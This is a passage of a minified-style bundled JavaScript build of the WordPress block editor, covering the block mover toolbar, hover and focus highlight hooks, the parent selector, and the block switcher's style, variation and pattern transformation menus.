48966 const {
48967 canMove,
48968 rootClientId,
48969 isFirst,
48970 isLast,
48971 orientation,
48972 isManualGrid
48973 } = (0,external_wp_data_namespaceObject.useSelect)(
48974 (select) => {
48975 const {
48976 getBlockIndex,
48977 getBlockListSettings,
48978 canMoveBlocks,
48979 getBlockOrder,
48980 getBlockRootClientId,
48981 getBlockAttributes
48982 } = select(store);
48983 const normalizedClientIds = Array.isArray(clientIds) ? clientIds : [clientIds];
48984 const firstClientId = normalizedClientIds[0];
48985 const _rootClientId = getBlockRootClientId(firstClientId);
48986 const firstIndex = getBlockIndex(firstClientId);
48987 const lastIndex = getBlockIndex(
48988 normalizedClientIds[normalizedClientIds.length - 1]
48989 );
48990 const blockOrder = getBlockOrder(_rootClientId);
48991 const { layout = {} } = getBlockAttributes(_rootClientId) ?? {};
48992 return {
48993 canMove: canMoveBlocks(clientIds),
48994 rootClientId: _rootClientId,
48995 isFirst: firstIndex === 0,
48996 isLast: lastIndex === blockOrder.length - 1,
48997 orientation: getBlockListSettings(_rootClientId)?.orientation,
48998 isManualGrid: layout.type === "grid" && layout.isManualPlacement && window.__experimentalEnableGridInteractivity
48999 };
49000 },
49001 [clientIds]
49002 );
49003 if (!canMove || isFirst && isLast && !rootClientId || hideDragHandle && isManualGrid) {
49004 return null;
49005 }
49006 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
49007 external_wp_components_namespaceObject.ToolbarGroup,
49008 {
49009 className: dist_clsx("block-editor-block-mover", {
49010 "is-horizontal": orientation === "horizontal"
49011 }),
49012 children: [
49013 !hideDragHandle && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(block_draggable_default, { clientIds, fadeWhenDisabled: true, children: (draggableProps) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
49014 external_wp_components_namespaceObject.Button,
49015 {
49016 __next40pxDefaultSize: true,
49017 icon: drag_handle_default,
49018 className: "block-editor-block-mover__drag-handle",
49019 label: (0,external_wp_i18n_namespaceObject.__)("Drag"),
49020 tabIndex: "-1",
49021 ...draggableProps
49022 }
49023 ) }),
49024 !isManualGrid && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-editor-block-mover__move-button-container", children: [
49025 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarItem, { children: (itemProps) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
49026 BlockMoverUpButton,
49027 {
49028 disabled: isBlockMoverUpButtonDisabled,
49029 clientIds,
49030 ...itemProps
49031 }
49032 ) }),
49033 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ToolbarItem, { children: (itemProps) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
49034 BlockMoverDownButton,
49035 {
49036 disabled: isBlockMoverDownButtonDisabled,
49037 clientIds,
49038 ...itemProps
49039 }
49040 ) })
49041 ] })
49042 ]
49043 }
49044 );
49045}
49046var block_mover_default = BlockMover;
49047
49048
49049;// ./node_modules/@wordpress/block-editor/build-module/components/block-toolbar/utils.js
49050
49051
49052
49053const { clearTimeout: utils_clearTimeout, setTimeout: utils_setTimeout } = window;
49054const DEBOUNCE_TIMEOUT = 200;
49055function useDebouncedShowGestures({
49056 ref,
49057 isFocused,
49058 highlightParent,
49059 debounceTimeout = DEBOUNCE_TIMEOUT
49060}) {
49061 const { getSelectedBlockClientId, getBlockRootClientId } = (0,external_wp_data_namespaceObject.useSelect)(store);
49062 const { toggleBlockHighlight } = (0,external_wp_data_namespaceObject.useDispatch)(store);
49063 const timeoutRef = (0,external_wp_element_namespaceObject.useRef)();
49064 const isDistractionFree = (0,external_wp_data_namespaceObject.useSelect)(
49065 (select) => select(store).getSettings().isDistractionFree,
49066 []
49067 );
49068 const handleOnChange = (nextIsFocused) => {
49069 if (nextIsFocused && isDistractionFree) {
49070 return;
49071 }
49072 const selectedBlockClientId = getSelectedBlockClientId();
49073 const clientId = highlightParent ? getBlockRootClientId(selectedBlockClientId) : selectedBlockClientId;
49074 toggleBlockHighlight(clientId, nextIsFocused);
49075 };
49076 const getIsHovered = () => {
49077 return ref?.current && ref.current.matches(":hover");
49078 };
49079 const shouldHideGestures = () => {
49080 const isHovered = getIsHovered();
49081 return !isFocused && !isHovered;
49082 };
49083 const clearTimeoutRef = () => {
49084 const timeout = timeoutRef.current;
49085 if (timeout && utils_clearTimeout) {
49086 utils_clearTimeout(timeout);
49087 }
49088 };
49089 const debouncedShowGestures = (event) => {
49090 if (event) {
49091 event.stopPropagation();
49092 }
49093 clearTimeoutRef();
49094 handleOnChange(true);
49095 };
49096 const debouncedHideGestures = (event) => {
49097 if (event) {
49098 event.stopPropagation();
49099 }
49100 clearTimeoutRef();
49101 timeoutRef.current = utils_setTimeout(() => {
49102 if (shouldHideGestures()) {
49103 handleOnChange(false);
49104 }
49105 }, debounceTimeout);
49106 };
49107 (0,external_wp_element_namespaceObject.useEffect)(
49108 () => () => {
49109 handleOnChange(false);
49110 clearTimeoutRef();
49111 },
49112 []
49113 );
49114 return {
49115 debouncedShowGestures,
49116 debouncedHideGestures
49117 };
49118}
49119function useShowHoveredOrFocusedGestures({
49120 ref,
49121 highlightParent = false,
49122 debounceTimeout = DEBOUNCE_TIMEOUT
49123}) {
49124 const [isFocused, setIsFocused] = (0,external_wp_element_namespaceObject.useState)(false);
49125 const { debouncedShowGestures, debouncedHideGestures } = useDebouncedShowGestures({
49126 ref,
49127 debounceTimeout,
49128 isFocused,
49129 highlightParent
49130 });
49131 const registerRef = (0,external_wp_element_namespaceObject.useRef)(false);
49132 const isFocusedWithin = () => {
49133 return ref?.current && ref.current.contains(ref.current.ownerDocument.activeElement);
49134 };
49135 (0,external_wp_element_namespaceObject.useEffect)(() => {
49136 const node = ref.current;
49137 const handleOnFocus = () => {
49138 if (isFocusedWithin()) {
49139 setIsFocused(true);
49140 debouncedShowGestures();
49141 }
49142 };
49143 const handleOnBlur = () => {
49144 if (!isFocusedWithin()) {
49145 setIsFocused(false);
49146 debouncedHideGestures();
49147 }
49148 };
49149 if (node && !registerRef.current) {
49150 node.addEventListener("focus", handleOnFocus, true);
49151 node.addEventListener("blur", handleOnBlur, true);
49152 registerRef.current = true;
49153 }
49154 return () => {
49155 if (node) {
49156 node.removeEventListener("focus", handleOnFocus);
49157 node.removeEventListener("blur", handleOnBlur);
49158 }
49159 };
49160 }, [
49161 ref,
49162 registerRef,
49163 setIsFocused,
49164 debouncedShowGestures,
49165 debouncedHideGestures
49166 ]);
49167 return {
49168 onMouseMove: debouncedShowGestures,
49169 onMouseLeave: debouncedHideGestures
49170 };
49171}
49172
49173
49174;// ./node_modules/@wordpress/block-editor/build-module/components/block-parent-selector/index.js
49175
49176
49177
49178
49179
49180
49181
49182
49183
49184
49185function BlockParentSelector() {
49186 const { selectBlock } = (0,external_wp_data_namespaceObject.useDispatch)(store);
49187 const { parentClientId } = (0,external_wp_data_namespaceObject.useSelect)((select) => {
49188 const {
49189 getBlockParents,
49190 getSelectedBlockClientId,
49191 getParentSectionBlock
49192 } = unlock(select(store));
49193 const selectedBlockClientId = getSelectedBlockClientId();
49194 const parentSection = getParentSectionBlock(selectedBlockClientId);
49195 const parents = getBlockParents(selectedBlockClientId);
49196 const _parentClientId = parentSection ?? parents[parents.length - 1];
49197 return {
49198 parentClientId: _parentClientId
49199 };
49200 }, []);
49201 const blockInformation = useBlockDisplayInformation(parentClientId);
49202 const nodeRef = (0,external_wp_element_namespaceObject.useRef)();
49203 const showHoveredOrFocusedGestures = useShowHoveredOrFocusedGestures({
49204 ref: nodeRef,
49205 highlightParent: true
49206 });
49207 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
49208 "div",
49209 {
49210 className: "block-editor-block-parent-selector",
49211 ref: nodeRef,
49212 ...showHoveredOrFocusedGestures,
49213 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
49214 external_wp_components_namespaceObject.ToolbarButton,
49215 {
49216 className: "block-editor-block-parent-selector__button",
49217 onClick: () => selectBlock(parentClientId),
49218 label: (0,external_wp_i18n_namespaceObject.sprintf)(
49219 /* translators: %s: Name of the block's parent. */
49220 (0,external_wp_i18n_namespaceObject.__)("Select parent block: %s"),
49221 blockInformation?.title
49222 ),
49223 showTooltip: true,
49224 icon: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(block_icon_default, { icon: blockInformation?.icon })
49225 }
49226 )
49227 },
49228 parentClientId
49229 );
49230}
49231
49232
49233;// ./node_modules/@wordpress/icons/build-module/library/copy.js
49234
49235
49236var copy_default = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_primitives_namespaceObject.SVG, { xmlns: "http://www.w3.org/2000/svg", viewBox: "0 0 24 24", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
49237 external_wp_primitives_namespaceObject.Path,
49238 {
49239 fillRule: "evenodd",
49240 clipRule: "evenodd",
49241 d: "M5 4.5h11a.5.5 0 0 1 .5.5v11a.5.5 0 0 1-.5.5H5a.5.5 0 0 1-.5-.5V5a.5.5 0 0 1 .5-.5ZM3 5a2 2 0 0 1 2-2h11a2 2 0 0 1 2 2v11a2 2 0 0 1-2 2H5a2 2 0 0 1-2-2V5Zm17 3v10.75c0 .69-.56 1.25-1.25 1.25H6v1.5h12.75a2.75 2.75 0 0 0 2.75-2.75V8H20Z"
49242 }
49243) });
49244
49245
49246;// ./node_modules/@wordpress/block-editor/build-module/components/block-switcher/preview-block-popover.js
49247
49248
49249
49250
49251
49252function PreviewBlockPopover({ blocks }) {
49253 const isMobile = (0,external_wp_compose_namespaceObject.useViewportMatch)("medium", "<");
49254 if (isMobile) {
49255 return null;
49256 }
49257 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-block-switcher__popover-preview-container", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
49258 external_wp_components_namespaceObject.Popover,
49259 {
49260 className: "block-editor-block-switcher__popover-preview",
49261 placement: "right-start",
49262 focusOnMount: false,
49263 offset: 16,
49264 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: "block-editor-block-switcher__preview", children: [
49265 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-block-switcher__preview-title", children: (0,external_wp_i18n_namespaceObject.__)("Preview") }),
49266 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(block_preview_default, { viewportWidth: 601, blocks })
49267 ] })
49268 }
49269 ) });
49270}
49271
49272
49273;// ./node_modules/@wordpress/block-editor/build-module/components/block-switcher/block-variation-transformations.js
49274
49275
49276
49277
49278
49279
49280
49281
49282const block_variation_transformations_EMPTY_OBJECT = {};
49283function useBlockVariationTransforms({ clientIds, blocks }) {
49284 const { activeBlockVariation, blockVariationTransformations } = (0,external_wp_data_namespaceObject.useSelect)(
49285 (select) => {
49286 const { getBlockAttributes, canRemoveBlocks } = select(store);
49287 const { getActiveBlockVariation, getBlockVariations } = select(external_wp_blocks_namespaceObject.store);
49288 const canRemove = canRemoveBlocks(clientIds);
49289 if (blocks.length !== 1 || !canRemove) {
49290 return block_variation_transformations_EMPTY_OBJECT;
49291 }
49292 const [firstBlock] = blocks;
49293 return {
49294 blockVariationTransformations: getBlockVariations(
49295 firstBlock.name,
49296 "transform"
49297 ),
49298 activeBlockVariation: getActiveBlockVariation(
49299 firstBlock.name,
49300 getBlockAttributes(firstBlock.clientId)
49301 )
49302 };
49303 },
49304 [clientIds, blocks]
49305 );
49306 const transformations = (0,external_wp_element_namespaceObject.useMemo)(() => {
49307 return blockVariationTransformations?.filter(
49308 ({ name }) => name !== activeBlockVariation?.name
49309 );
49310 }, [blockVariationTransformations, activeBlockVariation]);
49311 return transformations;
49312}
49313const BlockVariationTransformations = ({
49314 transformations,
49315 onSelect,
49316 blocks
49317}) => {
49318 const [hoveredTransformItemName, setHoveredTransformItemName] = (0,external_wp_element_namespaceObject.useState)();
49319 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
49320 hoveredTransformItemName && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
49321 PreviewBlockPopover,
49322 {
49323 blocks: (0,external_wp_blocks_namespaceObject.cloneBlock)(
49324 blocks[0],
49325 transformations.find(
49326 ({ name }) => name === hoveredTransformItemName
49327 ).attributes
49328 )
49329 }
49330 ),
49331 transformations?.map((item) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
49332 BlockVariationTransformationItem,
49333 {
49334 item,
49335 onSelect,
49336 setHoveredTransformItemName
49337 },
49338 item.name
49339 ))
49340 ] });
49341};
49342function BlockVariationTransformationItem({
49343 item,
49344 onSelect,
49345 setHoveredTransformItemName
49346}) {
49347 const { name, icon, title } = item;
49348 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
49349 external_wp_components_namespaceObject.MenuItem,
49350 {
49351 className: (0,external_wp_blocks_namespaceObject.getBlockMenuDefaultClassName)(name),
49352 onClick: (event) => {
49353 event.preventDefault();
49354 onSelect(name);
49355 },
49356 onMouseLeave: () => setHoveredTransformItemName(null),
49357 onMouseEnter: () => setHoveredTransformItemName(name),
49358 children: [
49359 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(block_icon_default, { icon, showColors: true }),
49360 title
49361 ]
49362 }
49363 );
49364}
49365var block_variation_transformations_default = BlockVariationTransformations;
49366
49367
49368;// ./node_modules/@wordpress/block-editor/build-module/components/block-switcher/block-transformations-menu.js
49369
49370
49371
49372
49373
49374
49375
49376
49377function useGroupedTransforms(possibleBlockTransformations) {
49378 const priorityContentTransformationBlocks = {
49379 "core/paragraph": 1,
49380 "core/heading": 2,
49381 "core/list": 3,
49382 "core/quote": 4
49383 };
49384 const transformations = (0,external_wp_element_namespaceObject.useMemo)(() => {
49385 const priorityTextTransformsNames = Object.keys(
49386 priorityContentTransformationBlocks
49387 );
49388 const groupedPossibleTransforms = possibleBlockTransformations.reduce(
49389 (accumulator, item) => {
49390 const { name } = item;
49391 if (priorityTextTransformsNames.includes(name)) {
49392 accumulator.priorityTextTransformations.push(item);
49393 } else {
49394 accumulator.restTransformations.push(item);
49395 }
49396 return accumulator;
49397 },
49398 { priorityTextTransformations: [], restTransformations: [] }
49399 );
49400 if (groupedPossibleTransforms.priorityTextTransformations.length === 1 && groupedPossibleTransforms.priorityTextTransformations[0].name === "core/quote") {
49401 const singleQuote = groupedPossibleTransforms.priorityTextTransformations.pop();
49402 groupedPossibleTransforms.restTransformations.push(singleQuote);
49403 }
49404 return groupedPossibleTransforms;
49405 }, [possibleBlockTransformations]);
49406 transformations.priorityTextTransformations.sort(
49407 ({ name: currentName }, { name: nextName }) => {
49408 return priorityContentTransformationBlocks[currentName] < priorityContentTransformationBlocks[nextName] ? -1 : 1;
49409 }
49410 );
49411 return transformations;
49412}
49413const BlockTransformationsMenu = ({
49414 className,
49415 possibleBlockTransformations,
49416 possibleBlockVariationTransformations,
49417 onSelect,
49418 onSelectVariation,
49419 blocks
49420}) => {
49421 const [hoveredTransformItemName, setHoveredTransformItemName] = (0,external_wp_element_namespaceObject.useState)();
49422 const { priorityTextTransformations, restTransformations } = useGroupedTransforms(possibleBlockTransformations);
49423 const hasBothContentTransformations = priorityTextTransformations.length && restTransformations.length;
49424 const restTransformItems = !!restTransformations.length && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
49425 RestTransformationItems,
49426 {
49427 restTransformations,
49428 onSelect,
49429 setHoveredTransformItemName
49430 }
49431 );
49432 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
49433 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.MenuGroup, { label: (0,external_wp_i18n_namespaceObject.__)("Transform to"), className, children: [
49434 hoveredTransformItemName && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
49435 PreviewBlockPopover,
49436 {
49437 blocks: (0,external_wp_blocks_namespaceObject.switchToBlockType)(
49438 blocks,
49439 hoveredTransformItemName
49440 )
49441 }
49442 ),
49443 !!possibleBlockVariationTransformations?.length && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
49444 block_variation_transformations_default,
49445 {
49446 transformations: possibleBlockVariationTransformations,
49447 blocks,
49448 onSelect: onSelectVariation
49449 }
49450 ),
49451 priorityTextTransformations.map((item) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
49452 BlockTransformationItem,
49453 {
49454 item,
49455 onSelect,
49456 setHoveredTransformItemName
49457 },
49458 item.name
49459 )),
49460 !hasBothContentTransformations && restTransformItems
49461 ] }),
49462 !!hasBothContentTransformations && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.MenuGroup, { className, children: restTransformItems })
49463 ] });
49464};
49465function RestTransformationItems({
49466 restTransformations,
49467 onSelect,
49468 setHoveredTransformItemName
49469}) {
49470 return restTransformations.map((item) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
49471 BlockTransformationItem,
49472 {
49473 item,
49474 onSelect,
49475 setHoveredTransformItemName
49476 },
49477 item.name
49478 ));
49479}
49480function BlockTransformationItem({
49481 item,
49482 onSelect,
49483 setHoveredTransformItemName
49484}) {
49485 const { name, icon, title, isDisabled } = item;
49486 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
49487 external_wp_components_namespaceObject.MenuItem,
49488 {
49489 className: (0,external_wp_blocks_namespaceObject.getBlockMenuDefaultClassName)(name),
49490 onClick: (event) => {
49491 event.preventDefault();
49492 onSelect(name);
49493 },
49494 disabled: isDisabled,
49495 onMouseLeave: () => setHoveredTransformItemName(null),
49496 onMouseEnter: () => setHoveredTransformItemName(name),
49497 children: [
49498 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(block_icon_default, { icon, showColors: true }),
49499 title
49500 ]
49501 }
49502 );
49503}
49504var block_transformations_menu_default = BlockTransformationsMenu;
49505
49506
49507;// ./node_modules/@wordpress/block-editor/build-module/components/block-styles/utils.js
49508
49509
49510function getActiveStyle(styles, className) {
49511 for (const style of new (external_wp_tokenList_default())(className).values()) {
49512 if (style.indexOf("is-style-") === -1) {
49513 continue;
49514 }
49515 const potentialStyleName = style.substring(9);
49516 const activeStyle = styles?.find(
49517 ({ name }) => name === potentialStyleName
49518 );
49519 if (activeStyle) {
49520 return activeStyle;
49521 }
49522 }
49523 return getDefaultStyle(styles);
49524}
49525function replaceActiveStyle(className, activeStyle, newStyle) {
49526 const list = new (external_wp_tokenList_default())(className);
49527 if (activeStyle) {
49528 list.remove("is-style-" + activeStyle.name);
49529 }
49530 list.add("is-style-" + newStyle.name);
49531 return list.value;
49532}
49533function getRenderedStyles(styles) {
49534 if (!styles || styles.length === 0) {
49535 return [];
49536 }
49537 return getDefaultStyle(styles) ? styles : [
49538 {
49539 name: "default",
49540 label: (0,external_wp_i18n_namespaceObject._x)("Default", "block style"),
49541 isDefault: true
49542 },
49543 ...styles
49544 ];
49545}
49546function getDefaultStyle(styles) {
49547 return styles?.find((style) => style.isDefault);
49548}
49549
49550
49551;// ./node_modules/@wordpress/block-editor/build-module/components/block-styles/use-styles-for-block.js
49552
49553
49554
49555
49556
49557function useGenericPreviewBlock(block, type) {
49558 return (0,external_wp_element_namespaceObject.useMemo)(() => {
49559 const example = type?.example;
49560 const blockName = type?.name;
49561 if (example && blockName) {
49562 return (0,external_wp_blocks_namespaceObject.getBlockFromExample)(blockName, {
49563 attributes: example.attributes,
49564 innerBlocks: example.innerBlocks
49565 });
49566 }
49567 if (block) {
49568 return (0,external_wp_blocks_namespaceObject.cloneBlock)(block);
49569 }
49570 }, [type?.example ? block?.name : block, type]);
49571}
49572function useStylesForBlocks({ clientId, onSwitch }) {
49573 const selector = (select) => {
49574 const { getBlock } = select(store);
49575 const block2 = getBlock(clientId);
49576 if (!block2) {
49577 return {};
49578 }
49579 const blockType2 = (0,external_wp_blocks_namespaceObject.getBlockType)(block2.name);
49580 const { getBlockStyles } = select(external_wp_blocks_namespaceObject.store);
49581 return {
49582 block: block2,
49583 blockType: blockType2,
49584 styles: getBlockStyles(block2.name),
49585 className: block2.attributes.className || ""
49586 };
49587 };
49588 const { styles, block, blockType, className } = (0,external_wp_data_namespaceObject.useSelect)(selector, [
49589 clientId
49590 ]);
49591 const { updateBlockAttributes } = (0,external_wp_data_namespaceObject.useDispatch)(store);
49592 const stylesToRender = getRenderedStyles(styles);
49593 const activeStyle = getActiveStyle(stylesToRender, className);
49594 const genericPreviewBlock = useGenericPreviewBlock(block, blockType);
49595 const onSelect = (style) => {
49596 const styleClassName = replaceActiveStyle(
49597 className,
49598 activeStyle,
49599 style
49600 );
49601 updateBlockAttributes(clientId, {
49602 className: styleClassName
49603 });
49604 onSwitch();
49605 };
49606 return {
49607 onSelect,
49608 stylesToRender,
49609 activeStyle,
49610 genericPreviewBlock,
49611 className
49612 };
49613}
49614
49615
49616;// ./node_modules/@wordpress/block-editor/build-module/components/block-styles/menu-items.js
49617
49618
49619
49620
49621const menu_items_noop = () => {
49622};
49623function BlockStylesMenuItems({ clientId, onSwitch = menu_items_noop }) {
49624 const { onSelect, stylesToRender, activeStyle } = useStylesForBlocks({
49625 clientId,
49626 onSwitch
49627 });
49628 if (!stylesToRender || stylesToRender.length === 0) {
49629 return null;
49630 }
49631 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: stylesToRender.map((style) => {
49632 const menuItemText = style.label || style.name;
49633 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
49634 external_wp_components_namespaceObject.MenuItem,
49635 {
49636 icon: activeStyle.name === style.name ? check_check_default : null,
49637 onClick: () => onSelect(style),
49638 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
49639 external_wp_components_namespaceObject.__experimentalText,
49640 {
49641 as: "span",
49642 limit: 18,
49643 ellipsizeMode: "tail",
49644 truncate: true,
49645 children: menuItemText
49646 }
49647 )
49648 },
49649 style.name
49650 );
49651 }) });
49652}
49653
49654
49655;// ./node_modules/@wordpress/block-editor/build-module/components/block-switcher/block-styles-menu.js
49656
49657
49658
49659
49660function BlockStylesMenu({ hoveredBlock, onSwitch }) {
49661 const { clientId } = hoveredBlock;
49662 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
49663 external_wp_components_namespaceObject.MenuGroup,
49664 {
49665 label: (0,external_wp_i18n_namespaceObject.__)("Styles"),
49666 className: "block-editor-block-switcher__styles__menugroup",
49667 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(BlockStylesMenuItems, { clientId, onSwitch })
49668 }
49669 );
49670}
49671
49672
49673;// ./node_modules/@wordpress/block-editor/build-module/components/block-switcher/utils.js
49674
49675const getMatchingBlockByName = (block, selectedBlockName, consumedBlocks = /* @__PURE__ */ new Set()) => {
49676 const { clientId, name, innerBlocks = [] } = block;
49677 if (consumedBlocks.has(clientId)) {
49678 return;
49679 }
49680 if (name === selectedBlockName) {
49681 return block;
49682 }
49683 for (const innerBlock of innerBlocks) {
49684 const match = getMatchingBlockByName(
49685 innerBlock,
49686 selectedBlockName,
49687 consumedBlocks
49688 );
49689 if (match) {
49690 return match;
49691 }
49692 }
49693};
49694const getRetainedBlockAttributes = (name, attributes) => {
49695 const contentAttributes = (0,external_wp_blocks_namespaceObject.getBlockAttributesNamesByRole)(name, "content");
49696 if (!contentAttributes?.length) {
49697 return attributes;
49698 }
49699 return contentAttributes.reduce((_accumulator, attribute) => {
49700 if (attributes[attribute]) {
49701 _accumulator[attribute] = attributes[attribute];
49702 }
49703 return _accumulator;
49704 }, {});
49705};
49706
49707
49708;// ./node_modules/@wordpress/block-editor/build-module/components/block-switcher/use-transformed-patterns.js
49709
49710
49711
49712const transformMatchingBlock = (match, selectedBlock) => {
49713 const retainedBlockAttributes = getRetainedBlockAttributes(
49714 selectedBlock.name,
49715 selectedBlock.attributes
49716 );
49717 match.attributes = {
49718 ...match.attributes,
49719 ...retainedBlockAttributes
49720 };
49721};
49722const getPatternTransformedBlocks = (selectedBlocks, patternBlocks) => {
49723 const _patternBlocks = patternBlocks.map(
49724 (block) => (0,external_wp_blocks_namespaceObject.cloneBlock)(block)
49725 );
49726 const consumedBlocks = /* @__PURE__ */ new Set();
49727 for (const selectedBlock of selectedBlocks) {
49728 let isMatch = false;
49729 for (const patternBlock of _patternBlocks) {
49730 const match = getMatchingBlockByName(
49731 patternBlock,
49732 selectedBlock.name,
49733 consumedBlocks
49734 );
49735 if (!match) {
49736 continue;
49737 }
49738 isMatch = true;
49739 consumedBlocks.add(match.clientId);
49740 transformMatchingBlock(match, selectedBlock);
49741 break;
49742 }
49743 if (!isMatch) {
49744 return;
49745 }
49746 }
49747 return _patternBlocks;
49748};
49749const useTransformedPatterns = (patterns, selectedBlocks) => {
49750 return (0,external_wp_element_namespaceObject.useMemo)(
49751 () => patterns.reduce((accumulator, _pattern) => {
49752 const transformedBlocks = getPatternTransformedBlocks(
49753 selectedBlocks,
49754 _pattern.blocks
49755 );
49756 if (transformedBlocks) {
49757 accumulator.push({
49758 ..._pattern,
49759 transformedBlocks
49760 });
49761 }
49762 return accumulator;
49763 }, []),
49764 [patterns, selectedBlocks]
49765 );
49766};
49767var use_transformed_patterns_default = useTransformedPatterns;
49768
49769
49770;// ./node_modules/@wordpress/block-editor/build-module/components/block-switcher/pattern-transformations-menu.js
49771
49772
49773
49774
49775
49776
49777
49778
49779function PatternTransformationsMenu({
49780 blocks,
49781 patterns: statePatterns,
49782 onSelect
49783}) {
49784 const [showTransforms, setShowTransforms] = (0,external_wp_element_namespaceObject.useState)(false);
49785 const patterns = use_transformed_patterns_default(statePatterns, blocks);
49786 if (!patterns.length) {
49787 return null;
49788 }
49789 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.MenuGroup, { className: "block-editor-block-switcher__pattern__transforms__menugroup", children: [
49790 showTransforms && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
49791 PreviewPatternsPopover,
49792 {
49793 patterns,
49794 onSelect
49795 }
49796 ),
49797 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
49798 external_wp_components_namespaceObject.MenuItem,
49799 {
49800 onClick: (event) => {
49801 event.preventDefault();
49802 setShowTransforms(!showTransforms);
49803 },
49804 icon: chevron_right_default,
49805 children: (0,external_wp_i18n_namespaceObject.__)("Patterns")
49806 }
49807 )
49808 ] });
49809}
49810function PreviewPatternsPopover({ patterns, onSelect }) {
49811 const isMobile = (0,external_wp_compose_namespaceObject.useViewportMatch)("medium", "<");
49812 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-block-switcher__popover-preview-container", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
49813 external_wp_components_namespaceObject.Popover,
49814 {
49815 className: "block-editor-block-switcher__popover-preview",
49816 placement: isMobile ? "bottom" : "right-start",
49817 offset: 16,
49818 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "block-editor-block-switcher__preview is-pattern-list-preview", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
49819 pattern_transformations_menu_BlockPatternsList,
49820 {
49821 patterns,
49822 onSelect
49823 }
49824 ) })
49825 }
49826 ) });
49827}
49828function pattern_transformations_menu_BlockPatternsList({ patterns, onSelect }) {
49829 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
49830 external_wp_components_namespaceObject.Composite,
49831 {
49832 role: "listbox",
49833 className: "block-editor-block-switcher__preview-patterns-container",
49834 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Patterns list"),
49835 children: patterns.map((pattern) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
49836 pattern_transformations_menu_BlockPattern,
49837 {
49838 pattern,
49839 onSelect
49840 },
49841 pattern.name
49842 ))
49843 }
49844 );
49845}
49846function pattern_transformations_menu_BlockPattern({ pattern, onSelect }) {
49847 const baseClassName = "block-editor-block-switcher__preview-patterns-container";
49848 const descriptionId = (0,external_wp_compose_namespaceObject.useInstanceId)(
49849 pattern_transformations_menu_BlockPattern,
49850 `${baseClassName}-list__item-description`
49851 );
49852 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)("div", { className: `${baseClassName}-list__list-item`, children: [
49853 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
49854 external_wp_components_namespaceObject.Composite.Item,
49855 {
49856 render: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
49857 "div",
49858 {
49859 role: "option",
49860 "aria-label": pattern.title,
49861 "aria-describedby": pattern.description ? descriptionId : void 0,
49862 className: `${baseClassName}-list__item`
49863 }
49864 ),
49865 onClick: () => onSelect(pattern.transformedBlocks),
49866 children: [
